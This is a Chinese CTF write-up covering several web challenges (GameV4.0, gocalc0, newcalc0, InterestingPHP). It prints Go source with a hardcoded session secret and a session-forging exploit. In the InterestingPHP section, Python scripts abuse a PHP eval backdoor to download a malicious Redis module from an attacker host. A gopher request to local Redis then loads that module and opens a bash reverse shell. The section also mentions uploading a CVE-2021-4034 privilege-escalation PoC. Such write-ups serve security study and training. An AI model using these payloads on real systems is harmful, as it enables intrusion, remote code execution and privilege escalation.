GameV4.0
逻辑区js中base64解码
gocalc0
session中base64解码两次

当然这是非预期解,出题人说少写个key
预期
{{.}}
源码:
<!-- wp:paragraph -->
<p>package main<br>import (<br>_ "embed"<br>"fmt"<br>"os"<br>"reflect"<br>"strings"<br>"text/template"</p>
<!-- /wp:paragraph -->
<!-- wp:code -->
<pre class="wp-block-code"><code>"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"</code></pre>
<!-- /wp:code -->
<!-- wp:paragraph -->
<p>)</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>//go:embed template/index.html<br>var tpl string</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>//go:embed main.go<br>var source string</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>type Eval struct {<br>E string <code>json:"e" form:"e" binding:"required"</code><br>}</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>func (e Eval) Result() (string, error) {<br>eval := goval.NewEvaluator()<br>result, err := eval.Evaluate(e.E, nil, nil)<br>if err != nil {<br>return "", err<br>}<br>t := reflect.ValueOf(result).Type().Kind()</p>
<!-- /wp:paragraph -->
<!-- wp:code -->
<pre class="wp-block-code"><code>if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}</code></pre>
<!-- /wp:code -->
<!-- wp:paragraph -->
<p>}</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>func (e Eval) String() string {<br>res, err := e.Result()<br>if err != nil {<br>fmt.Println(err)<br>res = "invalid"<br>}<br>return fmt.Sprintf("%s = %s", e.E, res)<br>}</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>func render(c *gin.Context) {<br>session := sessions.Default(c)</p>
<!-- /wp:paragraph -->
<!-- wp:code -->
<pre class="wp-block-code"><code>var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}</code></pre>
<!-- /wp:code -->
<!-- wp:paragraph -->
<p>}</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>func main() {<br>port := os.Getenv("PORT")<br>if port == "" {<br>port = "8080"<br>}</p>
<!-- /wp:paragraph -->
<!-- wp:code -->
<pre class="wp-block-code"><code>r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
render(c)
})
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "</code></pre>
<!-- /wp:code -->
EXP:
<!-- wp:paragraph -->
<p>package main</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>import (<br>_ "embed"<br>"fmt"<br>"os"</p>
<!-- /wp:paragraph -->
<!-- wp:code -->
<pre class="wp-block-code"><code>"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"</code></pre>
<!-- /wp:code -->
<!-- wp:paragraph -->
<p>)</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>func main() {<br>port := os.Getenv("PORT")<br>if port == "" {<br>port = "8088"<br>}<br>r := gin.Default()<br>store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))<br>r.Use(sessions.Sessions("session", store))<br>r.GET("/flag", func(c *gin.Context) {<br>session := sessions.Default(c)<br>c.String(200, session.Get("FLAG").(string))<br>})<br>r.Run(fmt.Sprintf(":%s", port))<br>}</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p></p>
<!-- /wp:paragraph -->

newcalc0
我從 DiceCTF 2022 中學到的各種 JS 與前端冷知識 – Huli
console.table([{x:1}], ["__proto__"]);
直接打
再访问/flag
InterestingPHP
打印下当前目录
发现有个secret.rdb

读取一下
得到redis密码

写恶意的so文件
import requests
url = "http://8b8a5aca-31d0-41aa-a960-a74ca594f377.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://ip/exp.so"
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
file_put_contents("exp.so",$result);
}
Curl("''' + pay + '''");
'''.strip()
data = {
0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)
命令执行

反弹shell
import requests
from urllib import parse
url = "http://8b8a5aca-31d0-41aa-a960-a74ca594f377.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = """auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'bash -c "bash -i >& /dev/tcp/ip/4444 0>&1"'
quit
""".replace('\n', '\r\n')
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if($result!=''){
echo $result;
}
}
Curl("gopher://127.0.0.1:8888/_''' + parse.quote(pay) + '''");
'''
data = {
0: payload
}
r = requests.post(url, data=data, headers=headers).text
print(r)
这里没有权限读取flag,但是找到一个本地提权
之前复现过
CVE-2021-4034
把poc上传至服务器
加载
